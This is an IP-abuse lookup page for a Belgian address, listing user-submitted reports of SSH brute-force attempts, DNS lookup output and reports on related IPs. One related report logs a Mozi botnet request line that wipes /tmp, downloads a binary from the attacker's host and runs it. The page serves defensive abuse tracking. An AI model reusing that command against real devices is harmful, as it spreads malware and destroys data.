Must be a valid IPv4 or IPv6 ip address, e.g. 127.0.0.1 or 2001:DB8:0:0:8:800:200C:417A
Basic Info

City: unknown

Region: unknown

Country: Belgium

Internet Service Provider: Proximus NV

Hostname: unknown

Organization: unknown

Usage Type: unknown

Comments:
Type Details Datetime
attackbotsspam
Sep 23 18:29:58 rb06 sshd[31880]: Failed password for invalid user aman from 81.241.41.166 port 46006 ssh2
Sep 23 18:29:58 rb06 sshd[31880]: Received disconnect from 81.241.41.166: 11: Bye Bye [preauth]
Sep 23 18:30:28 rb06 sshd[24283]: Failed password for invalid user undernet from 81.241.41.166 port 45086 ssh2
Sep 23 18:30:28 rb06 sshd[24283]: Received disconnect from 81.241.41.166: 11: Bye Bye [preauth]
Sep 23 18:30:40 rb06 sshd[26238]: Failed password for invalid user finance from 81.241.41.166 port 45784 ssh2
Sep 23 18:30:40 rb06 sshd[26238]: Received disconnect from 81.241.41.166: 11: Bye Bye [preauth]


........
-----------------------------------------------
https://www.blocklist.de/en/view.html?ip=81.241.41.166
2019-09-24 07:39:40
Comments on same subnet:
No discussion about this subnet yet..
Whois info:
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Dig info:
; <<>> DiG 9.10.3-P4-Ubuntu <<>> 81.241.41.166
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 42271
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;81.241.41.166.			IN	A

;; AUTHORITY SECTION:
.			550	IN	SOA	a.root-servers.net. nstld.verisign-grs.com. 2019092301 1800 900 604800 86400

;; Query time: 502 msec
;; SERVER: 183.60.83.19#53(183.60.83.19)
;; WHEN: Tue Sep 24 07:39:37 CST 2019
;; MSG SIZE  rcvd: 117
Host info
166.41.241.81.in-addr.arpa domain name pointer 166.41-241-81.adsl-dyn.isp.belgacom.be.
Nslookup info:
Server:		183.60.83.19
Address:	183.60.83.19#53

Non-authoritative answer:
166.41.241.81.in-addr.arpa	name = 166.41-241-81.adsl-dyn.isp.belgacom.be.

Authoritative answers can be found from:
Related IP info:
Related comments:
IP Type Details Datetime
122.51.166.84 attack
"Unauthorized connection attempt on SSHD detected"
2020-09-12 05:49:06
51.75.52.118 attackbots
Sep 11 18:00:56 vps46666688 sshd[23921]: Failed password for root from 51.75.52.118 port 48784 ssh2
Sep 11 18:01:08 vps46666688 sshd[23921]: error: maximum authentication attempts exceeded for root from 51.75.52.118 port 48784 ssh2 [preauth]
...
2020-09-12 05:41:38
222.186.30.218 attackbots
SSH break in attempt
...
2020-09-12 05:36:44
27.219.67.178 attack
/shell%3Fcd+/tmp;rm+-rf+*;wget+http://27.219.67.178:54145/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws
2020-09-12 05:24:52
83.209.189.42 attackbotsspam
Automatic Fail2ban report - Trying login SSH
2020-09-12 05:39:24
139.198.122.19 attack
SSH Brute-Force reported by Fail2Ban
2020-09-12 05:44:36
161.35.20.178 attackspambots
Sep 10 03:24:44 xxxxxxx sshd[1429]: Invalid user em3-user from 161.35.20.178
Sep 10 03:24:44 xxxxxxx sshd[1429]: Failed password for invalid user em3-user from 161.35.20.178 port 37050 ssh2
Sep 10 03:24:44 xxxxxxx sshd[1429]: Connection closed by 161.35.20.178 [preauth]
Sep 10 03:24:44 xxxxxxx sshd[1431]: User r.r from 161.35.20.178 not allowed because not listed in AllowUsers
Sep 10 03:24:44 xxxxxxx sshd[1431]: Failed password for invalid user r.r from 161.35.20.178 port 37140 ssh2
Sep 10 03:24:44 xxxxxxx sshd[1431]: Connection closed by 161.35.20.178 [preauth]
Sep 10 03:24:44 xxxxxxx sshd[1433]: User r.r from 161.35.20.178 not allowed because not listed in AllowUsers
Sep 10 03:24:44 xxxxxxx sshd[1433]: Failed password for invalid user r.r from 161.35.20.178 port 37208 ssh2
Sep 10 03:24:45 xxxxxxx sshd[1433]: Connection closed by 161.35.20.178 [preauth]
Sep 10 03:24:45 xxxxxxx sshd[1435]: User r.r from 161.35.20.178 not allowed because not listed in AllowUsers
Sep 10 0........
-------------------------------
2020-09-12 05:44:09
51.254.120.159 attackspambots
Sep 11 22:04:11 sshgateway sshd\[19860\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=159.ip-51-254-120.eu  user=root
Sep 11 22:04:13 sshgateway sshd\[19860\]: Failed password for root from 51.254.120.159 port 47762 ssh2
Sep 11 22:12:21 sshgateway sshd\[21251\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=159.ip-51-254-120.eu  user=root
2020-09-12 05:25:35
192.241.229.51 attackbotsspam
Unauthorized connection attempt
IP: 192.241.229.51
Ports affected
    IMAP over TLS protocol (993) 
Abuse Confidence rating 100%
Found in DNSBL('s)
ASN Details
   AS14061 DIGITALOCEAN-ASN
   United States (US)
   CIDR 192.241.128.0/17
Log Date: 11/09/2020 6:51:51 PM UTC
2020-09-12 05:43:03
51.83.68.213 attackbotsspam
Sep 11 23:26:28 vpn01 sshd[4230]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=51.83.68.213
Sep 11 23:26:30 vpn01 sshd[4230]: Failed password for invalid user 12123434 from 51.83.68.213 port 35738 ssh2
...
2020-09-12 05:31:15
180.250.108.130 attackspambots
Sep 11 21:22:45 plex-server sshd[1082523]: Failed password for invalid user andrei from 180.250.108.130 port 23260 ssh2
Sep 11 21:27:09 plex-server sshd[1084518]: Invalid user nevez from 180.250.108.130 port 58679
Sep 11 21:27:09 plex-server sshd[1084518]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=180.250.108.130 
Sep 11 21:27:09 plex-server sshd[1084518]: Invalid user nevez from 180.250.108.130 port 58679
Sep 11 21:27:11 plex-server sshd[1084518]: Failed password for invalid user nevez from 180.250.108.130 port 58679 ssh2
...
2020-09-12 05:46:01
115.159.214.247 attackbots
Sep 11 18:56:54 sshgateway sshd\[27699\]: Invalid user test from 115.159.214.247
Sep 11 18:56:54 sshgateway sshd\[27699\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=115.159.214.247
Sep 11 18:56:56 sshgateway sshd\[27699\]: Failed password for invalid user test from 115.159.214.247 port 34954 ssh2
2020-09-12 05:51:12
196.38.70.24 attack
2020-09-11T20:50:56.716334vps1033 sshd[18692]: Failed password for invalid user ieee from 196.38.70.24 port 11097 ssh2
2020-09-11T20:55:48.747385vps1033 sshd[29111]: Invalid user list from 196.38.70.24 port 22456
2020-09-11T20:55:48.752137vps1033 sshd[29111]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=196.38.70.24
2020-09-11T20:55:48.747385vps1033 sshd[29111]: Invalid user list from 196.38.70.24 port 22456
2020-09-11T20:55:51.022141vps1033 sshd[29111]: Failed password for invalid user list from 196.38.70.24 port 22456 ssh2
...
2020-09-12 05:48:03
89.151.132.116 attackspam
[portscan] Port scan
2020-09-12 05:28:48
106.52.242.21 attackbots
Sep 11 22:47:19 sshgateway sshd\[26783\]: Invalid user test from 106.52.242.21
Sep 11 22:47:19 sshgateway sshd\[26783\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=106.52.242.21
Sep 11 22:47:21 sshgateway sshd\[26783\]: Failed password for invalid user test from 106.52.242.21 port 50368 ssh2
2020-09-12 05:53:34

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